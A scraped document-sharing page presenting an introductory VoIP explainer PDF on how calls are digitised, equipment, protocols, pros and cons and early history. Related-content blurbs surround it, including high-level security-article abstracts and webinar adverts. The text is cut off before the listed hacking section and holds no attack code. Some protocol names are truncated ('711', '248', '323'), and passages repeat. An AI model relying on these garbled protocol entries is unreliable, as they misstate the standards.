VoIP (Voice over Internet Protocol) transmits voice and multimedia content over an internet connection. VoIP allows users to make voice calls from a computer, smartphone, other mobile devices, special VoIP phones and WebRTC-enabled browsers. VoIP is a valuable technology for consumers and businesses, as it typically includes additional features that can't be found on standard phone services. These features include call recording, custom caller ID, and voicemail to e-mail. It is also helpful to organizations as a way to unify communications.
The process works similarly to a regular phone, but VoIP uses an internet connection instead of a telephone company's wiring. VoIP is enabled by a group of technologies and methodologies to deliver voice communications over the internet, including enterprise local area networks or wide area networks.
A VoIP service will convert a user's voice from audio signals to digital data and then send that data through the internet. If another user calls from a regular phone number, the signal is converted back to a telephone signal before reaching that user.
VoIP can also route incoming and outgoing calls through existing telephone networks. However, some VoIP services may only work over a computer or VoIP phone.
The objective of study is to guarantee QoS for multiple service class traffic in a multiple connection environment and to examine a case of QoS deployment over a cellular WiMAX network. In particular, the thesis compares the performance how much bandwidth for voip
Voice over IP (VoIP) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet. Other terms commonly associated with VoIP are IP telephony, Internet telephony, broadband telephony, and broadband phone service.
The objective of study is to guarantee QoS for multiple service class traffic in a multiple connection environment and to examine a case of QoS deployment over a cellular WiMAX network. In particular, the thesis compares the performance how much bandwidth for voip
Voice over IP (VoIP) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet. Other terms commonly associated with VoIP are IP telephony, Internet telephony, broadband telephony, and broadband phone service.
This research work investigates and improves the performance of Voice over Internet Protocol (VoIP) traffic using IPV4 and IPV6 over WiMAX networks and the impact of various voice codec schemes and statistical distribution for Voice over Internet Protocol (VoIP) over WiMAX has been investigated in detail.
In this white paper, VoIP for Beginners, you’ll be introduced to how VoIP works.
Discover what occurs when a VoIP call is placed and received
Understand the key technical terms and learn the issues that affect bandwidth and call quality Learn three issues to consider when defining VoIP call quality
How to Optimize VoIP Call Quality Across Multiple Calling EnvironmentsAshik Jibon
A VoIP provider must be committed to working with you to find a resolution to VoIP challenges and able to help you successfully navigate VoIP across multiple calling environments now and in the future. Find a provider who has extensive experience in the VoIP softphone technology landscape. Visit us at Joon.us to learn more.
Voice over Internet Protocol (Voice over IP, VoIP and IP telephony) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet. The terms Internet telephony, broadband telephony, and broadband phone service specifically refer to the provisioning of communications services (voice, fax, SMS, voice-messaging) over the public Internet, rather than via the public switched telephone network (PSTN).The steps and principals involved in originating VoIP telephone calls are similar to traditional digital telephony and involve signaling, channel setup, digitization of the analog voice signals, and encoding.
you can be friend with me on orkut
"mangalforyou@gmail.com" : i belive in sharing the knowledge so please send project reports ,seminar and ppt. to me .
A NEW SYSTEM ON CHIP RECONFIGURABLE GATEWAY ARCHITECTURE FOR VOICE OVER INTER...csandit
The aim of this paper is to present a new System on Chip (SoC) reconfigurable gateway
architecture for Voice over Internet Telephony (VOIP). Our motivation behind this work is
justified by the following arguments: most of VOIP solutions proposed in the market are based
on the use of a general purpose processor and a DSP circuit. In these solutions, the use of the
serial multiply accumulate circuit is very limiting for the signal processing. Also, in embedded
VOIP based DSP applications, the DSP works without MMU (memory management unit). This
is a serious limitation because VOIP solutions are multi-task based. In order to overcome these
problems, we propose a new VOIP gateway architecture built around the OpenRisc-1200-V3
processor. This last one integrates a DSP circuit as well as a MMU. The hardware architecture
is mapped into the VIRTEX-5 FPGA device. We propose a design methodology based on the
design for reuse and design with reuse concepts. We demonstrate that the proposed SoC
architecture is reconfigurable, scalable and the final RTL code can be reused for any FPGA or
ASIC technology. Performances measures, in the VIRTEX-5 FPGA device family, show that the
SOC-gateway architecture occupies 52% of the FPGA in term of slice LUT, 42% of IOBs, 60%
of bloc memory, 8% of integrated DSP, 16% of PLL and the total power is estimated at
4.3Watts.
Voice over Internet Protocol with Novel Applicationsirjes
Internet Telephony, often denoted as Voice-over-Internet-Protocol (VoIP), has gained more and
more attention world-wide during the last decades. Voice over Internet Protocol (VoIP) technology has become
a communication alternative with the continuous increasing of Internet bandwidth and rapid advancement of
peer-to-peer (P2P) applications.In this paper three types of VOIP are explained: (i) PC to PC : this is the easiest
way to use VOIP, which enables you to talk and communicate Voice over Internet with all people over the
world. (ii) PC to Phone: which need a gateway that connects IP Network to phone Network. Its uses a device
called an ATA (Analogue Telephone Adaptor).The ATA allows you to connect a standard phone to your
computer or your Internet connection for use with VOIP. The ATA is an analogue to digital converter. (iii)
Phone to Phone: Where you need more gateways that connect IP network to phone networks, more phone
networks that connect Telephone set to gateway, and IP network that connect gateway to gateway. This paper
also explains Internet Protocol (IP) that VOIP uses to transmit voice as packets over an IP network as follows:
H.323 Protocols that provides the technical requirements for voice communication over LANs, while assuming
that Quality of Service isn't provided by LANs. Session Initiation Protocol (SIP) standard which is the standard
for establishing VOIP connections. This paper also explores Voice XML which is a markup language derived
from XML for writing telephone-based speech applications.In this paper also VoiceXML developed
environments(Gateways) are explained, where a list of all VoiceXML developers is included, and the most
popular VoiceXML development environments (Gateways) are explained in details.Finally, in this paper ten
VoiceXML applications are developed
Abstract
With the increased number of web applications, web security is be- coming more and more significant. Cross-Site Scripting vulnerability, abbreviated as XSS, is a common web vulnerability. Exploiting XSS vulnerabilities can cause hijacked user sessions, malicious code injec- tions into web applications, and critical information stealing. This article gives brief information about XSS, discusses its types, and de- signs a demo website to demonstrate attack processes of common XSS exploitation scenarios. The article also shows how to prevent XSS at- tacks with code illustrations.
Abstract
Insecure Direct Object References (IDOR) are a type of vulnerabil- ity that occurs when an application exposes direct object references, such as a file path or database key, to unauthorized users. This can allow attackers to bypass security controls and access sensitive infor- mation, such as user data or financial records, without proper authen- tication. IDOR vulnerabilities can arise due to a lack of proper access controls or when an application trusts user-supplied input without ad- equately validating it. In this article, we will provide examples of un- secure code that is vulnerable to IDOR attacks, and demonstrate how these vulnerabilities can be exploited. To prevent IDOR vulnerabili- ties, it is important to implement robust access controls and sanitize user input to ensure that only authorized users can access sensitive objects. Additionally, regularly testing and monitoring applications for IDOR vulnerabilities can help to identify and mitigate potential threats.
More Related Content
Similar to VoIP (Voice over Internet Protocol).pdf
This research work investigates and improves the performance of Voice over Internet Protocol (VoIP) traffic using IPV4 and IPV6 over WiMAX networks and the impact of various voice codec schemes and statistical distribution for Voice over Internet Protocol (VoIP) over WiMAX has been investigated in detail.
In this white paper, VoIP for Beginners, you’ll be introduced to how VoIP works.
Discover what occurs when a VoIP call is placed and received
Understand the key technical terms and learn the issues that affect bandwidth and call quality Learn three issues to consider when defining VoIP call quality
How to Optimize VoIP Call Quality Across Multiple Calling EnvironmentsAshik Jibon
A VoIP provider must be committed to working with you to find a resolution to VoIP challenges and able to help you successfully navigate VoIP across multiple calling environments now and in the future. Find a provider who has extensive experience in the VoIP softphone technology landscape. Visit us at Joon.us to learn more.
Voice over Internet Protocol (Voice over IP, VoIP and IP telephony) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet. The terms Internet telephony, broadband telephony, and broadband phone service specifically refer to the provisioning of communications services (voice, fax, SMS, voice-messaging) over the public Internet, rather than via the public switched telephone network (PSTN).The steps and principals involved in originating VoIP telephone calls are similar to traditional digital telephony and involve signaling, channel setup, digitization of the analog voice signals, and encoding.
you can be friend with me on orkut
"mangalforyou@gmail.com" : i belive in sharing the knowledge so please send project reports ,seminar and ppt. to me .
A NEW SYSTEM ON CHIP RECONFIGURABLE GATEWAY ARCHITECTURE FOR VOICE OVER INTER...csandit
The aim of this paper is to present a new System on Chip (SoC) reconfigurable gateway
architecture for Voice over Internet Telephony (VOIP). Our motivation behind this work is
justified by the following arguments: most of VOIP solutions proposed in the market are based
on the use of a general purpose processor and a DSP circuit. In these solutions, the use of the
serial multiply accumulate circuit is very limiting for the signal processing. Also, in embedded
VOIP based DSP applications, the DSP works without MMU (memory management unit). This
is a serious limitation because VOIP solutions are multi-task based. In order to overcome these
problems, we propose a new VOIP gateway architecture built around the OpenRisc-1200-V3
processor. This last one integrates a DSP circuit as well as a MMU. The hardware architecture
is mapped into the VIRTEX-5 FPGA device. We propose a design methodology based on the
design for reuse and design with reuse concepts. We demonstrate that the proposed SoC
architecture is reconfigurable, scalable and the final RTL code can be reused for any FPGA or
ASIC technology. Performances measures, in the VIRTEX-5 FPGA device family, show that the
SOC-gateway architecture occupies 52% of the FPGA in term of slice LUT, 42% of IOBs, 60%
of bloc memory, 8% of integrated DSP, 16% of PLL and the total power is estimated at
4.3Watts.
Voice over Internet Protocol with Novel Applicationsirjes
Internet Telephony, often denoted as Voice-over-Internet-Protocol (VoIP), has gained more and
more attention world-wide during the last decades. Voice over Internet Protocol (VoIP) technology has become
a communication alternative with the continuous increasing of Internet bandwidth and rapid advancement of
peer-to-peer (P2P) applications.In this paper three types of VOIP are explained: (i) PC to PC : this is the easiest
way to use VOIP, which enables you to talk and communicate Voice over Internet with all people over the
world. (ii) PC to Phone: which need a gateway that connects IP Network to phone Network. Its uses a device
called an ATA (Analogue Telephone Adaptor).The ATA allows you to connect a standard phone to your
computer or your Internet connection for use with VOIP. The ATA is an analogue to digital converter. (iii)
Phone to Phone: Where you need more gateways that connect IP network to phone networks, more phone
networks that connect Telephone set to gateway, and IP network that connect gateway to gateway. This paper
also explains Internet Protocol (IP) that VOIP uses to transmit voice as packets over an IP network as follows:
H.323 Protocols that provides the technical requirements for voice communication over LANs, while assuming
that Quality of Service isn't provided by LANs. Session Initiation Protocol (SIP) standard which is the standard
for establishing VOIP connections. This paper also explores Voice XML which is a markup language derived
from XML for writing telephone-based speech applications.In this paper also VoiceXML developed
environments(Gateways) are explained, where a list of all VoiceXML developers is included, and the most
popular VoiceXML development environments (Gateways) are explained in details.Finally, in this paper ten
VoiceXML applications are developed
Similar to VoIP (Voice over Internet Protocol).pdf (20)
Abstract
With the increased number of web applications, web security is be- coming more and more significant. Cross-Site Scripting vulnerability, abbreviated as XSS, is a common web vulnerability. Exploiting XSS vulnerabilities can cause hijacked user sessions, malicious code injec- tions into web applications, and critical information stealing. This article gives brief information about XSS, discusses its types, and de- signs a demo website to demonstrate attack processes of common XSS exploitation scenarios. The article also shows how to prevent XSS at- tacks with code illustrations.
Abstract
Insecure Direct Object References (IDOR) are a type of vulnerabil- ity that occurs when an application exposes direct object references, such as a file path or database key, to unauthorized users. This can allow attackers to bypass security controls and access sensitive infor- mation, such as user data or financial records, without proper authen- tication. IDOR vulnerabilities can arise due to a lack of proper access controls or when an application trusts user-supplied input without ad- equately validating it. In this article, we will provide examples of un- secure code that is vulnerable to IDOR attacks, and demonstrate how these vulnerabilities can be exploited. To prevent IDOR vulnerabili- ties, it is important to implement robust access controls and sanitize user input to ensure that only authorized users can access sensitive objects. Additionally, regularly testing and monitoring applications for IDOR vulnerabilities can help to identify and mitigate potential threats.
Abstract
In this article, we explore the path traversal attacks, also known as directory traversal attacks, and the potential harm they can cause to a system. We begin with an introduction to path traversal, explaining what it is and how attackers can exploit it to gain unauthorized access to files and directories. We then dive into the different techniques that can be used to exploit path traversal, including manipulating file paths and using encoding techniques. To prevent these attacks, we discuss several best practices, such as input validation and path normaliza- tion. Finally, we provide examples of more secure code and discuss how developers can implement these practices to strengthen their ap- plication’s defenses against path traversal attacks. Whether you’re a developer, a security professional, or just interested in learning more about cyber-security, this article provides valuable insights into one of the most common types of web application vulnerabilities.
A buffer overflow exploit is a security vulnerability that occurs when an application receives more data than expected, causing it to fill up memory space and even crash the program. Through this vulnerability, an attacker can run malicious code on the target application and take control of the system.
Buffer overflow exploits often stem from programming errors, incomplete input validation processes, or weaknesses in the data structures used in the program. These vulnerabilities allow attackers to gain control over an application.
Buffer overflow exploits pose a significant threat to cybersecurity and are often a key component of malware and cyber attacks. Therefore, software developers and system administrators should have knowledge of application security and design their applications properly to defend against these types of attacks.
As the number of web applications continues to grow, web security is becoming increasingly important. File inclusion attacks, specifically Remote File Inclusion (RFI) and Local File Inclusion (LFI), are se- rious threats to web security. Exploiting RFI and LFI vulnerabilities can lead to unauthorized access to sensitive information, exposing web- sites to additional risks, and full system compromise. We will provide a comprehensive overview of RFI and LFI, including an explanation of the attack types and potential risks. We also demonstrate the pro- cess of RFI and LFI exploitation scenarios. The paper concludes by providing insights on how to prevent RFI and LFI attacks with code illustrations and best practices for secure coding.
This Azure DevOps Security Guide, prepared for Secure Debug Limited, provides a comprehensive framework for ensuring a secure and compliant Azure DevOps environment. The guide covers various aspects of security, including access control, network security, code security, and continuous monitoring.
Key points addressed in this guide include:
1. Managing users and groups using Role-Based Access Control (RBAC) to define and enforce granular permissions.
2. Applying the principle of least privilege for granting permissions to minimize potential risks.
3. Regularly reviewing user accounts and disabling unnecessary accounts to reduce the attack surface.
4. Implementing strong authentication with Multi-Factor Authentication (MFA) to protect against unauthorized access.
5. Integrating centralized identity management using Single Sign-On (SSO) and Azure Active Directory.
6. Reducing authentication risks using risk-based policies and Azure AD Identity Protection integration.
7. Restricting access with IP-based network security groups and private networks.
8. Establishing secure communication with on-premises systems using VPN or
ExpressRoute.
9. Protecting and routing network traffic with Azure DDoS Protection and Azure Firewall.
10. Applying code review processes and utilizing static and dynamic code analysis tools
for vulnerability detection.
11. Establishing secure coding standards and ensuring dependency security.
12. Incorporating security controls and automated tests in Build and Release pipelines.
13. Securing agents with trusted agent pools and implementing Git branch policies and
pull request reviews for code security.
14. Storing credentials, certificates, and access keys securely in Azure Key Vault and
configuring access for Azure DevOps pipelines.
15. Monitoring changes using Azure DevOps audit logs for security, compliance, and
operational awareness.
16. Continuously tracking and improving security posture with Azure Policy and Azure
Security Center.
17. Conducting internal and external security audits and penetration tests for evaluation
and continuous improvement.
18. Regularly review and update the security configurations of your Azure DevOps
services, resources, and tools.
19. Implement secure baselines for your Azure resources and enforce them consistently
across your environment.
20. Use Azure Policy to define and enforce security configurations across your Azure
resources.
21. Continuously monitor configuration changes and assess their impact on your security
posture.
22. Implement a robust backup and recovery strategy for your critical data, including
source code, artifacts, and configuration data.
23. Use Azure Backup and Azure Site Recovery to protect your data and applications.
24. Regularly test your data recovery processes to ensure they are effective and up to
date.
25. Establish a disaster recovery plan to minimize downtime and data loss in case of a
security breach or system failure.
Insecure Direct Object References (IDOR) are a type of vulnerabil- ity that occurs when an application exposes direct object references, such as a file path or database key, to unauthorized users. This can allow attackers to bypass security controls and access sensitive infor- mation, such as user data or financial records, without proper authen- tication. IDOR vulnerabilities can arise due to a lack of proper access controls or when an application trusts user-supplied input without ad- equately validating it. In this article, we will provide examples of un- secure code that is vulnerable to IDOR attacks, and demonstrate how these vulnerabilities can be exploited. To prevent IDOR vulnerabili- ties, it is important to implement robust access controls and sanitize user input to ensure that only authorized users can access sensitive objects. Additionally, regularly testing and monitoring applications for IDOR vulnerabilities can help to identify and mitigate potential threats.
Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...Okan YILDIZ
Smishing and vishing are phishing attacks that lure victims via SMS messages and voice calls. Both rely on the same emotional appeals employed in traditional phishing scams and are designed to drive you into urgent action. The difference is the delivery method.
“Cyberthieves can apply manipulation techniques to many forms of communication because the underlying principles remain constant,” explains security awareness leader Stu Sjouwerman, CEO of KnowBe4. “Lure victims with bait and then catch them with hooks.”
With the increased number of web applications, web security is be- coming more and more significant. Cross-Site Scripting vulnerability, abbreviated as XSS, is a common web vulnerability. Exploiting XSS vulnerabilities can cause hijacked user sessions, malicious code injec- tions into web applications, and critical information stealing. This article gives brief information about XSS, discusses its types, and de- signs a demo website to demonstrate attack processes of common XSS exploitation scenarios. The article also shows how to prevent XSS at- tacks with code illustrations.
OS Command Injection is a type of cyber attack that involves injecting mali- cious code into a legitimate system command. This allows the attacker to gain unauthorized access to sensitive information or to manipulate system functions. The attack is possible when an application does not properly validate user in- put, allowing the attacker to insert arbitrary commands that are executed by the operating system.
OS Command Injection attack can include data loss, system compromise, and loss of trust in the affected organization. In some cases, the attack can even lead to financial losses or legal repercussions.
This article discusses Command Injection attacks, what vulnerable appli- cations are and how to exploit the vulnerability, and finally, how to prevent attacks by writing safe codes.
Pushing the limits of ePRTC: 100ns holdover for 100 daysAdtran
At WSTS 2024, Alon Stern explored the topic of parametric holdover and explained how recent research findings can be implemented in real-world PNT networks to achieve 100 nanoseconds of accuracy for up to 100 days.
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Albert Hoitingh
In this session I delve into the encryption technology used in Microsoft 365 and Microsoft Purview. Including the concepts of Customer Key and Double Key Encryption.
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...James Anderson
Effective Application Security in Software Delivery lifecycle using Deployment Firewall and DBOM
The modern software delivery process (or the CI/CD process) includes many tools, distributed teams, open-source code, and cloud platforms. Constant focus on speed to release software to market, along with the traditional slow and manual security checks has caused gaps in continuous security as an important piece in the software supply chain. Today organizations feel more susceptible to external and internal cyber threats due to the vast attack surface in their applications supply chain and the lack of end-to-end governance and risk management.
The software team must secure its software delivery process to avoid vulnerability and security breaches. This needs to be achieved with existing tool chains and without extensive rework of the delivery processes. This talk will present strategies and techniques for providing visibility into the true risk of the existing vulnerabilities, preventing the introduction of security issues in the software, resolving vulnerabilities in production environments quickly, and capturing the deployment bill of materials (DBOM).
Speakers:
Bob Boule
Robert Boule is a technology enthusiast with PASSION for technology and making things work along with a knack for helping others understand how things work. He comes with around 20 years of solution engineering experience in application security, software continuous delivery, and SaaS platforms. He is known for his dynamic presentations in CI/CD and application security integrated in software delivery lifecycle.
Gopinath Rebala
Gopinath Rebala is the CTO of OpsMx, where he has overall responsibility for the machine learning and data processing architectures for Secure Software Delivery. Gopi also has a strong connection with our customers, leading design and architecture for strategic implementations. Gopi is a frequent speaker and well-known leader in continuous delivery and integrating security into software delivery.
Enhancing Performance with Globus and the Science DMZGlobus
ESnet has led the way in helping national facilities—and many other institutions in the research community—configure Science DMZs and troubleshoot network issues to maximize data transfer performance. In this talk we will present a summary of approaches and tips for getting the most out of your network infrastructure using Globus Connect Server.
Essentials of Automations: The Art of Triggers and Actions in FMESafe Software
In this second installment of our Essentials of Automations webinar series, we’ll explore the landscape of triggers and actions, guiding you through the nuances of authoring and adapting workspaces for seamless automations. Gain an understanding of the full spectrum of triggers and actions available in FME, empowering you to enhance your workspaces for efficient automation.
We’ll kick things off by showcasing the most commonly used event-based triggers, introducing you to various automation workflows like manual triggers, schedules, directory watchers, and more. Plus, see how these elements play out in real scenarios.
Whether you’re tweaking your current setup or building from the ground up, this session will arm you with the tools and insights needed to transform your FME usage into a powerhouse of productivity. Join us to discover effective strategies that simplify complex processes, enhancing your productivity and transforming your data management practices with FME. Let’s turn complexity into clarity and make your workspaces work wonders!
A tale of scale & speed: How the US Navy is enabling software delivery from l...sonjaschweigert1
Rapid and secure feature delivery is a goal across every application team and every branch of the DoD. The Navy’s DevSecOps platform, Party Barge, has achieved:
- Reduction in onboarding time from 5 weeks to 1 day
- Improved developer experience and productivity through actionable findings and reduction of false positives
- Maintenance of superior security standards and inherent policy enforcement with Authorization to Operate (ATO)
Development teams can ship efficiently and ensure applications are cyber ready for Navy Authorizing Officials (AOs). In this webinar, Sigma Defense and Anchore will give attendees a look behind the scenes and demo secure pipeline automation and security artifacts that speed up application ATO and time to production.
We will cover:
- How to remove silos in DevSecOps
- How to build efficient development pipeline roles and component templates
- How to deliver security artifacts that matter for ATO’s (SBOMs, vulnerability reports, and policy evidence)
- How to streamline operations with automated policy checks on container images
Le nuove frontiere dell'AI nell'RPA con UiPath Autopilot™UiPathCommunity
In questo evento online gratuito, organizzato dalla Community Italiana di UiPath, potrai esplorare le nuove funzionalità di Autopilot, il tool che integra l'Intelligenza Artificiale nei processi di sviluppo e utilizzo delle Automazioni.
📕 Vedremo insieme alcuni esempi dell'utilizzo di Autopilot in diversi tool della Suite UiPath:
Autopilot per Studio Web
Autopilot per Studio
Autopilot per Apps
Clipboard AI
GenAI applicata alla Document Understanding
👨🏫👨💻 Speakers:
Stefano Negro, UiPath MVPx3, RPA Tech Lead @ BSP Consultant
Flavio Martinelli, UiPath MVP 2023, Technical Account Manager @UiPath
Andrei Tasca, RPA Solutions Team Lead @NTT Data
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...James Anderson
Effective Application Security in Software Delivery lifecycle using Deployment Firewall and DBOM
The modern software delivery process (or the CI/CD process) includes many tools, distributed teams, open-source code, and cloud platforms. Constant focus on speed to release software to market, along with the traditional slow and manual security checks has caused gaps in continuous security as an important piece in the software supply chain. Today organizations feel more susceptible to external and internal cyber threats due to the vast attack surface in their applications supply chain and the lack of end-to-end governance and risk management.
The software team must secure its software delivery process to avoid vulnerability and security breaches. This needs to be achieved with existing tool chains and without extensive rework of the delivery processes. This talk will present strategies and techniques for providing visibility into the true risk of the existing vulnerabilities, preventing the introduction of security issues in the software, resolving vulnerabilities in production environments quickly, and capturing the deployment bill of materials (DBOM).
Speakers:
Bob Boule
Robert Boule is a technology enthusiast with PASSION for technology and making things work along with a knack for helping others understand how things work. He comes with around 20 years of solution engineering experience in application security, software continuous delivery, and SaaS platforms. He is known for his dynamic presentations in CI/CD and application security integrated in software delivery lifecycle.
Gopinath Rebala
Gopinath Rebala is the CTO of OpsMx, where he has overall responsibility for the machine learning and data processing architectures for Secure Software Delivery. Gopi also has a strong connection with our customers, leading design and architecture for strategic implementations. Gopi is a frequent speaker and well-known leader in continuous delivery and integrating security into software delivery.
Securing your Kubernetes cluster_ a step-by-step guide to success !KatiaHIMEUR1
Today, after several years of existence, an extremely active community and an ultra-dynamic ecosystem, Kubernetes has established itself as the de facto standard in container orchestration. Thanks to a wide range of managed services, it has never been so easy to set up a ready-to-use Kubernetes cluster.
However, this ease of use means that the subject of security in Kubernetes is often left for later, or even neglected. This exposes companies to significant risks.
In this talk, I'll show you step-by-step how to secure your Kubernetes cluster for greater peace of mind and reliability.
UiPath Test Automation using UiPath Test Suite series, part 4DianaGray10
Welcome to UiPath Test Automation using UiPath Test Suite series part 4. In this session, we will cover Test Manager overview along with SAP heatmap.
The UiPath Test Manager overview with SAP heatmap webinar offers a concise yet comprehensive exploration of the role of a Test Manager within SAP environments, coupled with the utilization of heatmaps for effective testing strategies.
Participants will gain insights into the responsibilities, challenges, and best practices associated with test management in SAP projects. Additionally, the webinar delves into the significance of heatmaps as a visual aid for identifying testing priorities, areas of risk, and resource allocation within SAP landscapes. Through this session, attendees can expect to enhance their understanding of test management principles while learning practical approaches to optimize testing processes in SAP environments using heatmap visualization techniques
What will you get from this session?
1. Insights into SAP testing best practices
2. Heatmap utilization for testing
3. Optimization of testing processes
4. Demo
Topics covered:
Execution from the test manager
Orchestrator execution result
Defect reporting
SAP heatmap example with demo
Speaker:
Deepak Rai, Automation Practice Lead, Boundaryless Group and UiPath MVP
PHP Frameworks: I want to break free (IPC Berlin 2024)Ralf Eggert
In this presentation, we examine the challenges and limitations of relying too heavily on PHP frameworks in web development. We discuss the history of PHP and its frameworks to understand how this dependence has evolved. The focus will be on providing concrete tips and strategies to reduce reliance on these frameworks, based on real-world examples and practical considerations. The goal is to equip developers with the skills and knowledge to create more flexible and future-proof web applications. We'll explore the importance of maintaining autonomy in a rapidly changing tech landscape and how to make informed decisions in PHP development.
This talk is aimed at encouraging a more independent approach to using PHP frameworks, moving towards a more flexible and future-proof approach to PHP development.
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfPaige Cruz
Monitoring and observability aren’t traditionally found in software curriculums and many of us cobble this knowledge together from whatever vendor or ecosystem we were first introduced to and whatever is a part of your current company’s observability stack.
While the dev and ops silo continues to crumble….many organizations still relegate monitoring & observability as the purview of ops, infra and SRE teams. This is a mistake - achieving a highly observable system requires collaboration up and down the stack.
I, a former op, would like to extend an invitation to all application developers to join the observability party will share these foundational concepts to build on:
Epistemic Interaction - tuning interfaces to provide information for AI supportAlan Dix
Paper presented at SYNERGY workshop at AVI 2024, Genoa, Italy. 3rd June 2024
https://alandix.com/academic/papers/synergy2024-epistemic/
As machine learning integrates deeper into human-computer interactions, the concept of epistemic interaction emerges, aiming to refine these interactions to enhance system adaptability. This approach encourages minor, intentional adjustments in user behaviour to enrich the data available for system learning. This paper introduces epistemic interaction within the context of human-system communication, illustrating how deliberate interaction design can improve system understanding and adaptation. Through concrete examples, we demonstrate the potential of epistemic interaction to significantly advance human-computer interaction by leveraging intuitive human communication strategies to inform system design and functionality, offering a novel pathway for enriching user-system engagements.
2. 2
What is VoIP (voice over Internet Protocol)? 2
VoIP in unified communications 3
VoIP telephone equipment 5
How does VoIP work? 6
VoIP protocols and standards 7
Advantages and disadvantages of VoIP 9
History of VoIP 11
The 1990s 11
The 2000s 11
How to Hack VoIP Networks? 12
3. 3
What is VoIP (voice over Internet Protocol)?
VoIP (Voice over Internet Protocol) transmits voice and multimedia content
over an internet connection. VoIP allows users to make voice calls from a
computer, smartphone, other mobile devices, special VoIP phones and
WebRTC-enabled browsers. VoIP is a valuable technology for consumers
and businesses, as it typically includes additional features that can't be
found on standard phone services. These features include call recording,
custom caller ID, and voicemail to e-mail. It is also helpful to organizations
as a way to unify communications.
The process works similarly to a regular phone, but VoIP uses an internet
connection instead of a telephone company's wiring. VoIP is enabled by a
group of technologies and methodologies to deliver voice communications
over the internet, including enterprise local area networks or wide area
networks.
A VoIP service will convert a user's voice from audio signals to digital data
and then send that data through the internet. If another user calls from a
regular phone number, the signal is converted back to a telephone signal
before reaching that user.
VoIP can also route incoming and outgoing calls through existing telephone
networks. However, some VoIP services may only work over a computer or
VoIP phone.
VoIP in unified communications
VoIP consolidates communication technologies into one unified system --
meaning that VoIP can allow for some audio, video or text-based
4. 4
communication methods. This can be particularly useful for businesses, so
teams don't have to work with multiple different applications to
communicate with one another effectively.
VoIP creates this network by allowing users to make calls and hold web
conferences using devices like computers, smartphones or other mobile
devices.
Some typical features might include:
● audio calls;
● video calls;
● voicemail;
● instant messaging;
● team chats;
● e-mail;
● SMS texts;
● mobile and desktop apps; and
● mobile and local number portability (allows a subscriber to choose
a new telephone carrier without needing a new number).
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VoIP telephone equipment
The two main types of VoIP telephones are hardware-based and
software-based.
A hardware-based VoIP phone looks like a traditional hard-wired or
cordless telephone and includes similar features, such as a speaker or
microphone, a touchpad and a caller ID display. VoIP phones can also
provide voicemail, call conferencing and call transfer.
Software-based IP phones, also known as softphones, are software clients
installed on a computer or mobile device. The softphone user interface
often looks like a telephone handset with a touchpad and caller ID display.
6. 6
A headset with a microphone connects to the computer or mobile device to
make calls. Users can also make calls via their computer or mobile device
if they have a built-in microphone and speaker.
How does VoIP work?
VoIP services convert a user's voice from audio signals to digital data,
which that data is then sent to another user -- or group of users -- over
Ethernet or Wi-Fi. To accomplish this, VoIP will use codecs.
Codecs are either hardware- or software-based process that compresses
and decompresses large amounts of VoIP data. Voice quality may suffer
when compression is used, but reduction reduces bandwidth requirements.
Equipment vendors will also use their proprietary codecs.
Sending data to other users includes encapsulating audio into data
packets, transmitting the packets across an IP network and
unencapsulated the packets back into audio at the other end of the
connection.
Within enterprise or private networks, quality of service (QoS) is typically
used to prioritize voice traffic over non-latency-sensitive applications to
ensure acceptable quality.
Additional components of a typical VoIP system include the following: an IP
PBX to manage user telephone numbers, devices, features and clients;
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gateways to connect networks and provide failover or local survivability in
the event of a network outage; and session border controllers to provide
security, call policy management and network connections.
A VoIP system can also include location-tracking databases for E911
(enhanced 911) call routing and management platforms. This can collect
call performance statistics for reactive and proactive voice-quality
management.
By eliminating circuit-switched networks for voice, VoIP reduces network
infrastructure costs and enables providers to deliver voice services over
Broadband and private networks. This should also enable enterprises to
operate a single voice and data network.
VoIP also piggybacks on the resiliency of IP-based networks by enabling
fast failover, following outages and redundant communications between
endpoints and networks.
VoIP protocols and standards
8. 8
VoIP endpoints typically use either International Telecommunication Union
(ITU) standard codecs or specifically developed codecs. They are as
follows:
● 711 is the standard for transmitting uncompressed packets.
● 729 is the standard for compressed packets.
● Transmission Control Protocol (TCP) is used to break a message
down into smaller packets. Meanwhile, the IP deals with the
sending and delivery of the packages.
● In real-time, the ITU T.38 protocol will send faxes over a VoIP or
IP network. VoIP typically uses this to support non-voice
communications.
● The Real-Time Transport Protocol (RTP) is used once the voice is
encapsulated onto IP.
● The Secure Real-Time Transport Protocol (SRTP) acts as an
encrypted variant of RTP.
● The Session Initiation Protocol (SIP) is a rigorous standard for
signalling -- most often used to signal to create, maintain and end
calls.
● The 248 protocol describes a Gateway Control Protocol, which
defines a centralized architecture for creating multimedia
applications.
● 323 is a signalling protocol that is used to control and manage
calls.
● Extensible Messaging and Presence Protocol (XMPP) is a
protocol for contact list maintenance, instant messaging and
presence information.
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● Skinny is another signalling protocol which is proprietary to Cisco.
● Session Description Protocol (SDP) is used for initiating and
announcing sessions for multimedia communications, as well as
WebSocket transports.
Advantages and disadvantages of VoIP
Benefits of VoIP include:
● Lower cost. The price is lower than typical phone bills.
● Higher-quality sound. With uncompressed data, audio is less
muffled or fuzzy.
● Access for remote workers. Suitable for employees who work
remotely as they have a number of options to call into meetings or
communicate with other teammates.
● Added features. These features include call recording, queues,
custom caller ID or voicemail to e-mail.
● Low international rates. When a landline makes an international
call, it rents the wired circuit for the call to transfer overseas. VoIP
doesn't require a wired line and uses the internet to make calls,
which means it's treated like expected traffic and is less
expensive.
Despite these advantages, VoIP services may still come with some
disadvantages. These disadvantages include:
10. 10
● Not all these services may connect directly to emergency
services.
● VoIP needs a high-speed internet connection.
● Services will not work during power outages.
● There may be a lack of directory assistance depending on the
VoIP service.
11. 11
History of VoIP
VoIP historically referred to using internet protocols to connect private
branch exchanges (PBXs) but is now used interchangeably with IP
telephony. Paul Baran and other researchers worked on early
developments of packet network designs. In 1973, Danny Cohen was the
first to demonstrate a form of packet voice over an early ARPANET. One
